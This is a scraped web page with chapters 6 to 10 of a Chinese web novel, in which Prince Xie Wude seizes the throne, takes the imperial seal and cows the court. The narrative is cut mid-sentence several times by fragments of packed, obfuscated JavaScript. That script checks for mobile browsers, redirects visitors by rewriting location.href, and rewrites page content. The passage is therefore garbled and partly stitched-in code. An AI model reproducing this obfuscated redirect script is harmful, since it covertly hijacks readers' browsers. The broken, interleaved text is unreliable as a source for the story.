RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16453962|185294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 狂之举。 绝境中的人做出什么都是有可能的。 太监为皇子效死是情理之中的事情,但是皇帝可不能因为太监的一时疯狂而丢掉自己的性命啊。 外面似乎有刀剑金戈相交的声音。 皇帝抖了一下。 也许太监也抖了一下。 如果是大皇子获胜,那厮杀的声音肯定不会出现,因为这本身就是大皇子控制的地方。 是二皇子? 太监已经看着皇帝了,眼睛里流露出一丝疯狂的色彩。 他有很小的概率才会想要杀死皇帝,但是皇帝一点都不想赌概率。 皇帝的大脑飞速地运转着,思考着自己该用什么话术控制住眼前的太监。 太监也在想自己为大皇子尽忠之前要做点什么。 然而下一秒,门就被踢开了。 所有人都本能地一抖。 谁也没想到战斗会结束得这么快。 按理说双方不应该彼此至少缠斗个半盏茶的工夫吗? 是的,就是踹,门被踹得掉了半截。 谢吾德条件反射地躲了一下,然后板着脸走了进去,在踏进去的那一瞬间又强行让自己看起来无比散漫。 他平时经常用脚开门,双手插兜,主要是洁癖,平时开的都是金属大门。 来这之后因为这里的门都有门槛,还有人给他开门,他就懒得自己开了。 这次好不容易亲自踹门,结果力气用大了,毫无准备的木门掉落把他自己也吓到了。 他都没来得及注意别人有没有被吓到。 脑子里的自己还笑出了声。 他的目光在这狭小的房间里扫视着,对这狭小的屋子感到十分不满。 他的目光掠过皇帝,并没有在他的身上停留多久,而是在看了一圈之后才落在了皇帝身上。 皇帝看着谢吾德那张美丽的脸,对方不笑的时候还真有一种清冷的冷漠,带着一点如同仙人一样缥缈的气息。 他看着皇帝凝固的绝望表情,他倏地笑了,冷漠消失不见,满满的都是癫人的气息。 “惊不惊喜?意不意外?刺不刺激?”这个以疯狂著称的皇子单手叉腰比了个耶,“老登,该下去咯。” 6. 第 6 章 皇帝快尿了。 “越、越王?你怎么来了?” 大皇子的贴身太监也愣了,他看向了皇帝那如丧考妣的表情,瞬间放弃了对皇帝动手的想法。 四皇子在这里,就轮不到他折腾了。 谁还不知道四皇子是个六亲不认的家伙? 皇帝落到他手中哪有好日子过? 片刻之后,皇帝的大脑里好像灵光一现,眼睛里迸射出火花:“邱将军送你回来的吗?” 邱将军和他的邱家军可是忠心耿耿,皇帝对此心知肚明。 之前谢吾德就是被丢去了邱家军那里。 皇帝也是希望忠诚的邱将军能替他看住谢吾德。 如果真的是邱将军把谢吾德送回来的话,那以他的忠诚肯定会想要保住皇帝不死。 他可不会认同谢吾德这不忠君的想法。 “我自己回来的。”谢吾德说道,“我回来一趟很方便的。” 距离对于谢吾德来说完全不是事。 他感知范围内都是他可以瞬息抵达的地方。 皇帝绝望了。 “接下来我就是皇帝了,你敢有意见吗?” 皇帝可太有意见了。 可是他不敢开口。 纵观华夏一千多年的历史,不难发现什么类型的奇葩皇帝都出现过。 有疯皇帝也有傻皇帝,但是很少有哪个皇帝像谢吾德这样完全不把任何规则放在眼里。 没有三辞三让,皇帝只觉得自己像是好端端地走在路上突然被抢劫了一样。 这个混蛋。 此刻谢吾德的表现让人实在是产生一种错觉:他们这是在正经的皇朝吗?怎么感觉谢吾德随意得就像是山沟沟里随便自立为帝的皇帝一样?带着一种毫无尊敬且不正经的感觉。 皇帝试图用自己的沉默表示自己最后的抗议。 在外界听来是谣言的事情其实是真的,他是真的被谢吾德打过,而且曾经被他打得满地乱爬。 他对自己这个孩子是又惧又怕。 谢吾德对他笑一笑,他就要抖三抖。 但是权力是可以异化人的,此处的异化是指可以让一个胆小如鼠的家伙在面对他所害怕的人面前,展现出不合时宜的勇气。 不管怎么说,谢吾德应该也是会顾及到体面的吧。 他感觉虽然谢吾德好像一直瞧不上他,但是好歹也是做了他这么多年的父亲,对于谢吾德的性格还是有所了解的。 谢吾德这个人还是有点在乎脸面的,只不过他对脸面的理解和别人不太一样,当他的规则和别人的规则冲撞,他也只会按照自己的规则来。 但是再怎么离谱,他总不可能想要带着一个没有得到认可的名头青史留名吧? 这样他如何服众呢? 皇帝不知道谢吾德为什么这么强,也不清楚谢吾德是如何从千里之外的前线赶回来的,他只觉得谢吾德在暴力方面登峰造极,但是再怎么说,他也不可能一个人处理朝廷全部事务吧? 只是出乎他意料的是谢吾德并没有因为皇帝的沉默迟疑,他只是看着皇帝面带微笑的等了两秒钟,就好像耐心告罄一般,把头扭到了一边。 他不知道目光落在了哪里,但是片刻之后他把皇帝带着他的褥子往边上一翻。 皇帝的鼻子差点撞到墙上,他听到窸窸窣窣的声音,然后谢吾德从床板下面掏出了一个玉玺。 皇帝几乎大惊失色,他不知道谢吾德是怎么知道东西放在这里的。 难道说谢吾德这个家伙扮猪吃虎,之前装的好像浑不在意也不喜欢和人打交道是假的? 他何时收买了他身边的内侍得到了玉玺的位置? 要知道这可是他在大皇子面前几乎是最后的安全保障了。 别说有弑父的问题,谈这个根本没用。 在权力面前,别说是爹,就算是爷爷都是没有用的。 只有权力才是真实的。 谢吾德拿到玉玺之后,从袖子里掏出了一块带有浓浓酒味的手巾先是擦擦手,然后换了一个手巾在玉玺上擦来擦去。 他反过来看着玉玺上面的字。 公元二十二世纪,绝大多数人类选择升格,地球上几乎没有剩余的人类,人类通过种种方式把地球翻了个底朝天。 只要没有碎到无法辨认或者直接化为灰飞,什么都从地球里面找出来了。 包括丢失的和氏璧。 人类保留了全部扫描数据,并没有挨个刨出来的意思。 反正对于他们来说,数据才是最重要的,他们完全可以精准到分子级别地重新打印一个。 总之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16453963|185294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,这个和氏璧的确就是基本还原历史上的和氏璧,只不过这个世界的历史发生了一点变动,所以将和氏璧的缺角给补上了。 谢吾德这个二十一世纪的人和二十二世纪的人在逻辑方面是有壁的,比如说对待文物的态度方面。 那群二零七零后和二零八零后太难懂了,他和他们差了三四代人,近乎马里亚纳海沟级别的观念差距。 谢吾德叹了口气。 他是不觉得自己是人类,可是他是妈妈生的,活在人类世界里的,有时候还是会有一种微妙的脱节感。 那群扫描地球的“年轻人”甚至基本都不是妈妈生的。 皇帝虽然不知道何为酒精消毒,但是他还是从谢吾德那微妙的反应中察觉到了自己似乎被嫌弃了。 他缓了片刻,对着谢吾德嘶吼道:“逆子,你这个逆子!你怎敢如此!” 只是他的嘶吼显得有气无力的。 谢吾德看着他,就像是看着因为咬了人,被主人送去菜市场卖了的狗一样。 “陛下,谁让你敢跟我这么说话的!”谢吾德在拿到和氏璧的那一瞬间就把和氏璧用法术消毒了,无尘无菌,但是擦一擦算是他的习惯,也算是故意气人。 皇帝被他气得哽住了。 谢吾德喊他“陛下”,但是说实话,皇帝从来都没有在谢吾德“陛下”这两个字中感觉到半点的尊敬。 他好像只是随便喊喊。 明明陛下是一个尊称,但是谢吾德硬生生的喊出了“嗟,来食”的轻蔑,他对猫“嘬嘬嘬”的态度都比这亲切。 而且谢吾德也不喊他“父皇”,“父”和“爹”这种词从来没有从他嘴巴里说出来过。 这事皇帝其实也不意外。 别说把他当成“爹”、“父皇”、“皇帝”了,皇帝有时候都觉得谢吾德看他都不如宫里的猫亲切,他的地位犹在畜生之下。 这货是纯粹的讨债鬼。 “好了,现在东西都齐全了。召百官入宫,宣布我要登基吧。”谢吾德不理会皇帝,他的手一挥,直接吩咐下面的人挺他的。 皇帝几乎要爬了起来,可是谢吾德直接离开了。 他自顾自地来,自顾自地拿了传国玉玺,自顾自地宣布自己要当皇帝,自顾自地召集大臣。 谁都没拦得住他。 7. 第 7 章 礼部尚书是从家里被薅起来的。 作为京官,他不可能不知道最近京城里发生的事情。 如果他真的是这种两耳不闻窗外事的人就没法做到尚书了。 大皇子和二皇子夺嫡争储的事情已经是众人皆知的事情,但是礼部尚书并不愿意掺和到这件事情的争执中。 以他的家世能爬到如今的位置,就已经令他心满意足了,多的他也不奢求了,一旦被搅入浑水,很有可能就是全家流放的结局。 以朝中世家的势力,搞不好最后还会被人摘了桃子。 他把事情的原委与家中的人说清楚之后,家人也十分赞同他这不求有功但求无过的处世策略。 朝中的事情实在是太复杂了。 但是现在,有人以皇帝的身份命令他们过去,他们敢不过去吗? 倒是没有那些当兵的过来请他们,门口的是个看脸有点陌生的人,无法判断对方的身份。 虽然不知道这个皇帝是哪一个皇帝,但是既然以皇帝的身份命令前往皇宫了,那原本的皇帝肯定是出了问题。 礼部尚书自然是不敢拒绝的,他也没有理由拒绝。 在这朝堂上混,虽然忠诚很重要,但是没有半点眼色也是混不下去的。 他穿好自己的官服,带着忐忑的心情往外走去。 他的邻居是如今的兵部尚书,兵部尚书的脸很臭,礼部尚书大概也能理解他的心情。 毕竟琅琊王氏似乎和二皇子掺和到了一块,而和他混到一块的正是如今个兵部侍郎。 如果真的有人追究起来的话,兵部尚书也能落得个治下不严的名声。就算二皇子赢了,那他这个兵部尚书还能够混得下去吗? 真的不会被一脚踹在屁股上吗? 兵部尚书对抗击萧国的意愿还是比较坚定的,他算是邱将军在朝堂上的盟友,和兵部尚书不同的是,礼部尚书是以德服人那一派的。 两个尚书平时虽然是邻居,但是在朝堂上一点都不对付,此刻彼此对视一眼,居然产生了一些共情。 大家都不容易。 兵部尚书担心的事情更多一些,比如说发生了这样的政变,北方的萧人会不会已经得到了消息准备南下了。 别的不说,虽然他不知道京城这里有多少敌国的探子,但是没有探子才是不正常的。 以史为鉴,说不定萧国过不了多久就要发兵南下进攻京城了。 现在他们还有力量能够阻止这一切吗? 大家平日里在皇帝面前的作风如何姑且不论,但是大家都是生活在锦京的。 如今的朝廷一旦再次破灭,那他们在萧人面前还能讨得了好吗? 自己的前辈可以不顾后世的安危,直接依靠后人的智慧,但是他们可以吗? 这个天下还没从动荡当中彻底摆脱出来。 南荣虽然已经稳定了,但绝对不是毫无忧患的。一旦松懈下去,大概又是山河破碎的结局。 礼部尚书和兵部尚书沉重地一起往前走着。 无论是大皇子也好,二皇子也好,或者是三皇子奇迹般的翻盘,这都和兵部尚书脑海中的想法无关。 接下来他们就得想办法劝说皇帝积极备战了,也不知道邱将军有没有得到京城的消息,他要是能够往东边走一走的话还好。 不过他似乎正在和如今略显颓势的白国对抗,恐怕空不出手来往东边看看。 礼部尚书虽然有一点想要用德行感化蛮夷的念头,但是却也并不乐观。 他觉得蛮夷也是能够被教化的,但是被人迎头打爆,这也没办法讲道理。 他是从北荣到南荣的老臣,没那么乐观。 礼部尚书和兵部尚书沉重地往皇宫走去,他们觉得无论是谁现在坐在这个皇位上,都不会有比现在更糟糕的情况了。 但是当他们看到那个在桌子上坐得乱七八糟的青年的时候,他们忽然悟了——地狱是真的能够分十八层的。 谢吾德其实是背对着他们的,他正在努力地对龙椅进行消毒工作。 太监想要来帮他,这群人最有眼色了,但是谢吾德敬谢不敏。 他嗅觉很好,能够闻到太监身上的骚气,混合着他们身上的熏香,他有点想要吐。 谢吾德刚开始这局游戏的时候还想着试试古代皇帝奢靡无度的生活,后来他发现,就算是皇宫,古代也绝对不如现代。 谢吾德生活过的最差的环境就是去东北农村串亲戚的时候睡的炕,掀开旁边的挂历下面一堆小虫子的那种,至少在谢吾德去住的那一晚他没看到老鼠。 但是和这种纯粹的古代相比,农村至少没有腐朽的木头的气味,也没有熏香和尿骚混合出的怪异味道。 谢吾德最后还是赶走了所有太监。 .

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16453964|185294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 谢吾德不用回头就能够让别人第一时间认出他来。 谢吾德个子很高,和自己的那些兄弟有一些差距。 而且除了谢吾德,大概也没有哪个皇子会在百官面前擦龙椅。 居然是四皇子谢吾德! 他们在心底重复着这句话,他们也只能重复这句话了,他们的大脑已经被震惊完全占据了。 往皇宫这边走的人消息都很灵通,几个人稍微一碰头,大概就知道了现在的情况:大皇子和二皇子已经被四皇子谢吾德一箭射杀,三皇子还没有被放出来——谢吾德好像已经忘了他。 鉴于之前展现的父慈子孝、兄友弟恭,他们有理由怀疑四皇子不是故意的,他是纯粹地忘了自己的三哥。 不过关于四皇子谢吾德和皇帝的交锋,他们并没有得到多少的风声,一切都非常迅速且让人完全来不及。 谢吾德把龙椅上面的垫子丢到一边,直接坐在了这个木质的龙椅上。 他是不坐垫子派,尤其是不坐别人坐过的垫子。 在坐下来之后,谢吾德就开始丢着传国玉玺玩。 他们只看到那个传国玉玺在谢吾德手里抛来抛去。 谢吾德漫不经心地拿着那个玉玺,玉玺从他的手掌滚落到指尖,他的指尖用力钩,玉玺便被他的手指甩了出去,然后落到了他的手掌上。 他并没有抛得很高,但是这足以让所有人都心惊胆颤了——他怎么敢这么对待传国玉玺? 这可是货真价实的古董,是象征着天命所在的东西。 最后千言万语汇成一句话——怎么就到了他的手上? 谢吾德觉得他们的表情就像是追星族看到自己偶像的签名照落到了小黑子的手上,这群小黑子还要把这张签名照据为己有,一股愤怒完全无法掩饰。 “殿下!”有御史站了出来。 御史向来做的就是劝谏的事情。本朝优待士大夫,所以御史们也都很敢说。 他们看着谢吾德严肃地说道:“殿下怎可如此轻浮地对待传国玉玺呢?一旦玉玺有损,殿下可能带得起这个责任?” 御史的话还没有说完就被谢吾德打断了:“等等,你喊我什么?” 御史微微一愣。 谢吾德的手指一挥,便有人替他抓住了那个御史把他拖出去。“应该喊我陛下,怎么就喊我殿下了呢?真是没有点眼力劲。” 8.第 8 章 谢吾德在宫中和那些太监向来冲突很多。 不是瞧不起他们……好吧,谢吾德的确瞧不起他们,不过他基本上是平等地瞧不起所有人。 谢吾德和他们冲突的理由并不是因为鄙夷他们,而是很多太监都是受后宫之人的命令过来刁难谢吾德。 谢吾德一下子就明白那些后宫的人其实也是受了皇帝的命令。 皇帝不会直接说的,但是他的态度就能够影响很多的事情。 这个时代、这个世界的人只会怨恨他所见到的人,但是谢吾德秉承的原则是“挑最大的打”。 每当遇到这种时候,谢吾德就连着太监一起殴打皇帝,让他管不了皇宫——这个废物。 管不住肯定是打得少了。 拎起衣服下摆就是踹,他肯定就会自动长出管这事的能力的。 等着谢吾德把皇帝打明白了,这之后就没一个人敢来找他的事了。 所以说,暴力真的能解决很多事情。 谢吾德身边并没有太监服侍。 主要是谢吾德更喜欢独处,不喜欢有太监在他的身边晃来晃去,他更喜欢找个安静的地方看着热闹人群观察人类。 他又不需要他们为他做任何事情。 谢吾德甚至一口皇帝的饭都没吃。 皇帝不是不给,他再怎么令人鄙夷,也不至于真的让人一口饭都吃不上,纯粹是谢吾德不喜欢吃这个时代的食物,最上档次的都是给皇帝的,即使如此,谢吾德也看不上。 他得承认,虽然他知道古代没那么好,但是这也太差劲了。 到谢吾德坐上龙椅的时候,他觉得好像的确是这个样子。 这个时代可没有什么人体工程,即使是皇帝,也没有哪个工匠会太过考虑舒适度的问题。 龙椅的椅子面就是硬邦邦的一个平板,谢吾德感觉自己像是坐在长凳上。 龙椅也不够高,腿放着也难受。 谢吾德往后靠了一下,感觉硌得慌。 “哎。”谢吾德叹了口气。 “陛下,您有什么问题吗?”一个太监靠近了谢吾德。 这个太监长得不是最好看的,但是是谢吾德看着最顺眼的,而且在他拿到和氏璧的时候是一个冲过来向他磕头庆贺的。 “好硬。”谢吾德看了他一眼,“你们有人坐过这把破椅子吗?坐着腚疼。” 太监尚达吓得立刻跪了下来:“陛下,这谁敢啊!这殿中时时刻刻都有人,怎么会有人敢做这种事情?” 谢吾德的后半句话憋了回去。 他本来想说那该死的工匠没有坐一下尝试一下腚感吗? 但是看太监的反应,答案是否定的。 顶多是做好用手检查一下,谁敢坐啊。 谢吾德:“……” 他有点不爽地啧了一声。 他看着那个被拖走的御史,坐得稍微端正了一点。 他在太监之中应该也算是臭名远扬了。 不过这些太监向来不在意这些,只要他们能够获得权力。 别说是殴打太监的,就算是虐待他们,时时刻刻的虐待他们也无所谓。 对不起,即使是太监,他们也太想进步了。 那些太监把御史架了出去。 太监们在皇宫中生活,知道太多龌龊的事情。 别说是殴打太监了,听说还有一些比较变态的贵人会故意虐待太监。 他们不会明着把人拖出去打,因为听上去不好听,所以有的时候就会在暗地里用别的手段……比如说偷偷拿着针去扎这些太监宫女,又或者罚他们在外面跪上几个时辰,把他们的腿跪废了。 只要有心折磨人,到哪都跑不掉。 相比起来,谢吾德的就相当直接了。 他不像其他那些贵人一样脸上笑眯眯的,实际上不知道在盘算什么,冷不丁就会对人出手。 虽然他脑子不太正常,但是他动手肯定是有理由的。 很多没有野心的太监其实觉得去侍奉四皇子是一件不错的差事,不招惹他就没事,而且四皇子神出鬼没的,也不需要他们跟着。 只可惜皇帝的小手段是没完没了的。 在发现谢吾德殴打他的时候没有提到他调走他宫里的人之后,皇帝就当做无事发生。 谢吾德可不知道这些事情,或者说他能够猜到这个世界上肯定会有这样的人——没见二十一世纪都有老太太往自己孙女身体里扎针吗?在这种彻头彻尾的封建时代,这种事情只会更加过分。 但是谢吾德却很少想到这种事情会发生在他身边。 谢吾德从小到大都没有太过于接触这些阴暗的地方,所以这就导致了谢吾德在这种事情上实在缺乏想象力。 谢吾德看着下面的朝臣,站了起来,站了一会又趴在了桌子上,眼睛扫视着下面的人。 他眯着眼睛,朝臣们只觉得自己像是被什么猛虎野兽盯上了一样,生怕哪一个表情不对劲被谢吾德发现了。 但是他们不知道的是,谢吾德根本看不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16466341|185294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清他们的脸,就算他努力眯着眼,也只能看到模糊的五官。 “还有什么谁要向我提意见?我是一个谦虚受教的人。”谢吾德刚说这句话,就听到脑海里噗嗤的笑声。 没人猖狂大笑,这笑声也是转瞬即逝,但是他就是被嘲笑了。 谢吾德和谦虚受教这两个词完全没有联系。 谢吾德最多也只是听了,觉得有道理,但是就是不改。 反思是不可能反思的。 谢吾德没能分得清是哪个自己在笑,搞不好是瞬间同时笑出声来,毕竟是一个人,为了同一点笑起来的时候完全不会有时差的。 “如果有什么问题的话,请一定要在我面前直说。咱们就能够尽量直接快速解决这个问题。” 朝臣们看着谢吾德,不知道该从哪里吐槽。 直言不讳吗?他们觉得他们上一秒说不服,谢吾德下一秒就能把他们拖出去。 而且他们可是文官——文官什么时候做事会直来直往的? 他们文官最擅长的不就是文山会海不讲人话,重要的文件放在倒数第几个里面吗? 少有人会这么直接,就算有直接的人,也不会直接把自己心中的想法说出来,而是用迂回的方式拒绝。 因为他们知道这是无法改变的事实。 能走到今天这个位置上的没有绝对的蠢人,就算在大事上没有智慧,但是在小事上大多做得也算可以。 虽然不少人依靠了自己的家世,但也是和家中其他人或者有着相似条件的人比了又比,然后选出来的。 这个世界有科举,但是地位并不高,顶多是作为一种人才补充方式,而且公平性都很难被保证。 大户人家的人未必有多么聪明,但绝对都相当熟悉那种不说人话的感觉。 这种弯弯绕绕的处世方式,正是他们有别于外面那群普通人的重要标志。 他们压下心中的鄙夷,觉得谢吾德就是一个投了好胎的疯子。 谢吾德看向了一个人,然后举起手边的笔筒,直接砸中了他的脑袋,红色的血丝从他的额角流下。 谢吾德眼神不好,但是有人工智能助手,它把这个人画了个红圈,重点标记出来,标注“打了不亏”。 那个刚刚还满心鄙视的人立刻就跪了下来,脸色瞬间就白了,他即使被砸得晕乎乎的,也瞬间反应过来了:“陛下恕罪。” 他的头和地面接触的时候,他意识到了一件事:他刚刚是低着头的,谢吾德是怎么看穿他的心思的? 9.第 9 章 大皇子和二皇子手中那么多的兵都没能处理得了谢吾德,在几乎没做什么准备的情况下,他们不敢和底牌不明的谢吾德对抗。 尤其是王家的人,他们的人几乎都陪着二皇子去逼宫了,现在正是最虚弱的时候。 这种事情本来就是一场豪赌,现在他们基本是输了。 可以说现在是最适合从他们身上撕下一块肉的时候了。 但是现在,相比起和王氏对抗,现在谢吾德才掌握了所有人的生死。 他们不敢和谢吾德呛声。 谢吾德刚刚杀了他的两个哥哥,他自然可以把他们其他人都一并杀死。 不然能和他打一架吗?听说疯子打人最疼了。 礼部尚书觉得周围的目光似乎有点灼热,他扭转头,发觉那群人似乎都在看着他。 好吧。 “殿……”礼部尚书刚说了一个字,忽然想起刚刚被人拖走的御史,冷不丁打了一个寒战,然后改了自己的口风说道,“可有传位的诏书呢?” 他不能喊谢吾德陛下。 这件事情要是被史官记录下来了,那在后世看来,大概率会是一个奸臣。 甚至都不用等到后世,这词一说出口,他就不会被自己的同僚容忍了。 别说给自己儿子安排个职位了,恐怕他都自身难保。 不管怎么说,先要传位诏书吧。 礼部尚书本来已经做好了会看到一份伪造诏书的准备。 至少不会给人弹劾他的借口。 礼部尚书觉得不管是粗糙还是细致,他都要给自己的同僚们传一遍看看。 就算发现有问题,那也不是他一个人的错。 如果有人愿意为此出头,那就让他出去顶上。 现在质疑谢吾德绝对不是正确的选择,只要有人敢反驳,那谢吾德就敢杀了对方。 那样无论如何都不可能是他这个礼部尚书的错了。 礼部尚书的算盘打得噼里啪啦地响,就等着谢吾德拿出他的伪诏了。 至于真的传位诏书? 不可能存在的啦。 就算现在的“太上皇”胆子很小,但是要是有谁想要动摇他的皇权,他都绝对不可能同意的。 而且谢吾德之前一直都在战场附近,太上皇怎么会有传位给他的想法? 谢吾德却一抬手,十分光棍且坦然地说:“没有。” 礼部尚书简直不敢相信自己听到了什么。 他忍不住喃喃重复:“没有?” 他猛地抬头看向了谢吾德。 什么叫没有传位诏书? 我知道您老很癫,但是在这种时候您是装都不愿意装一下吗? 求求您了,装一下吧。 哪怕您当场写一个假的诏书,这满朝上下基本上都能捏着鼻子暂时认了。 谢吾德表现得坦然,完全不以此为耻:“你们是真不明白还是假不明白?就算他写了,肯定也不是他自愿的。现在你们站在这里,又不是因为他会同意我登基。那就简单点,你们为什么要在意他的想法?直接臣服于我就好。” 所有人都被谢吾德这愣头青发言给震惊到了。 这是可以直说的吗? 他们目瞪口呆地看着谢吾德。 谢吾德是真的不明白这些道理吗? 他明白。 可是他就不要顺着别人的想法来。 他们想要看到诏书,他就不给。 他就要把这层遮羞布扯下来,让他们变得难堪。 反正谢吾德一点都不会因此而难堪。 要是有谁说他的位置是那个老登给他的,谢吾德反而会觉得晦气。 会不会说话啊? 别恶心人了。 就在这寂静的时刻,真的有人站了出来。那是一个看上去颤颤巍巍的老人,对方的年纪似乎也不小了。 他站出来就跪在了地上:“殿下怎可如此。悠悠苍天在上,殿下这么做如何顺天应人?” 他开始用力地磕头,当然没有磕得咚咚响。 他跪的那块砖下面没有空洞,所以没办法制造出如同擂鼓一般的声音。但是磕下去之后也是实实在在的。 磕了几下之后他抬起头,额头上冒出了血丝。 这位老臣如今也有六十五岁了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16471095|185294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,在这个时代已经算是高龄了,原本已经辞官归乡,但在知道南荣的事情之后,又毅然决然地回到了官场。 他一辈子成就不高,完全是看在他的年龄和忠诚的份上给他升了职。 很多人看不起他的迂腐,但是对于他的人品还是相当尊重的。 老臣的谏言对于一般人来说可能是有用的,但是对谢吾德这种一眼看过去就知道是天字号第一无君无父、目中无人、预定的暴君来说,他头磕得再响,那也只是给谢吾德增加一点生存的乐趣。 老臣是很忠诚,在品行上也没有太多可以被指摘的地方,但是这种人感动人是要能戳中对方心底柔软的地方。 其他人都能知道谢吾德真的打过皇帝,现在也知道他杀死了两个哥哥。 一般人很难想象还有什么可以比杀死亲人更加突破道德底线的了。 更别提这老臣忠诚隐约是要反对谢吾德登基的。 这样的人怎么会被谢吾德所容忍呢? 但是有人对此也是乐见其成的。 他们看着这个年纪已经很大的老人,眼睛中闪着恶意。 朝堂中的一部分人低着头看着老臣,他们站着,他跪着,看着他就像是一块肉一样。 他们在期待他粉身碎骨,甚至渴望他酷刑缠身。 他们并不是心理变态,他们会这么期待纯粹就是期待他的死亡能给其他人带来一些价值。 只要谢吾德做得够残暴,老臣血液飞得足够远,他们就能喊出很高的口号去招揽人为他们卖命。 看看啊,他多么凶残。 谢吾德低头,看着这个老人,依旧趴在桌子上托腮,只是稍微换了一个姿势。 在身旁已经向他摇尾乞怜的太监准备过去把老臣拖走的时候,谢吾德抬起手,拦住了他们。 “还请殿下回心转意。”老臣又狠狠地磕头,“殿下无法服众,这天下早晚又会大乱的。” 他不在乎自己的同僚是不是对他有什么恶意,他在乎的只有自己有没有践行自己心中的想法。 随着老臣的一声声呐喊,有人又觑着谢吾德的神色,打算一起跪下来向他施压。 10.第 10 章 谢吾德却没有第一时间动手。 他听着这个老臣说话,这是年纪很大又有点迂腐的人,但是他在谢吾德面前并没有展现出这种迂腐。 当然,也没必要,占据“皇子”和“男性”两大优势,谢吾德是在鄙视链顶端的。 谢吾德觉得自己还是能听听他说的话的。 谢吾德固然青睐那些愿意给他当狗的人,但是对于这种有点骨气、敢和他呛声的人,他也是颇为赞赏的。 他能够看出来对方说这话并没有多少私欲。 他的身旁出现了一个关于这个老臣的生平资料。 总体来说,以现代人的眼光也勉强能够说得上是一个好人。 嗯…… 【好人比例是不是有点高?】谢吾德问道,【你们搞的?】 这个世界哪有那么多符合谢吾德定义中的“好人”。 不是说他们没有道德瑕疵,但是整体来说,都是小问题,而且在谢吾德强势的情况下,他们的下次几乎完全没办法影响到他。 没人回答谢吾德,但是谢吾德心里已经有了答案。 这是隐晦地提醒他——少弄死一些人。 可是谢吾德会在意这种小提示吗? 就算不提这个世界其实是一个虚假的世界,就算是真正的世界,他也不接受任何束缚。 他就喜欢和人反着来。 就像对于他来说,造假只是随手的事。 朝中大臣大概会觉得他不伪造诏书是因为缺人手,是手里没人,是无能为力,现在说这些不过是狡辩,但是谢吾德清楚自己说的是真话。 手握高级人工智能的谢吾德只要把皇帝写出来的东西往AI肚子里一塞,一分钟就能够仿制出一份以假乱真的诏书。 但是谢吾德偏不这么干。 他有点“别人看他不爽他就高兴了”的癖好。 谢吾德看向旁边的太监,说道:“把后面跪的那群家伙拖出去。” 又没有胆色,还想要拿捏他? 有多远滚多远吧。 谢吾德没有吩咐这群太监怎么处理这群被拖出去的人,不过他不在意。 活着也好,死了也罢,都行,无所谓。 刚刚跪下的人被拖了出去,原本摇摆不定的人浑身一个激灵,立正了。 幸亏刚刚没有跪下去啊。 左丞相姚证闭着眼睛,懒得去看这群人,心里在揣摩着四皇子或者说他们即将——或者已经是事实的皇帝的人的性格。 ……有些人觉得他们还能挣扎一下,但是姚证可没有那么那么乐观的。 皇帝做事给人一种强烈的不过脑子的感觉,但是姚证觉得,搞不好是他是因为太强了所以才不需要太多思考。 当超级力量可以摆平一切问题的时候,为什么要动脑呢? 他以前听过皇帝——现在也许应该叫太上皇了——提起过皇帝,他的诡异根本不是用常理可以形容的。 他们可以用邪祟来形容谢吾德,但是其实完全也可以用“上天真正宠爱的儿子”来形容他身上发生过的一切问题。 就连谢吾德那双蓝色的眼睛也完全可以解释为这是他天生异象,有别常人。 ……就是癫了点。 姚证现在最大的问题就在于自己没法总结他的性格。 人是很难想象自己没有见识过的东西。 谢吾德那过于自由的作风让人很难摸到他那深不可见的底。 姚证算不上奸臣,右相周元比他要不择手段得多。 当那位太上皇更喜欢逢迎媚上的人,又挑了个毫无底线的家伙做右相,那左相再不做人也要硬着头皮做个人。 不然这朝廷真就完蛋了。 姚证看着这个老臣,他稍微有点不爽。 之前皇帝向萧人称臣,挨骂的是他,骂人的是这个老头。 当然,他也不能说百分之百没错,但是错的更多的不是皇帝吗? 他做的一切不都是皇帝的意思吗? 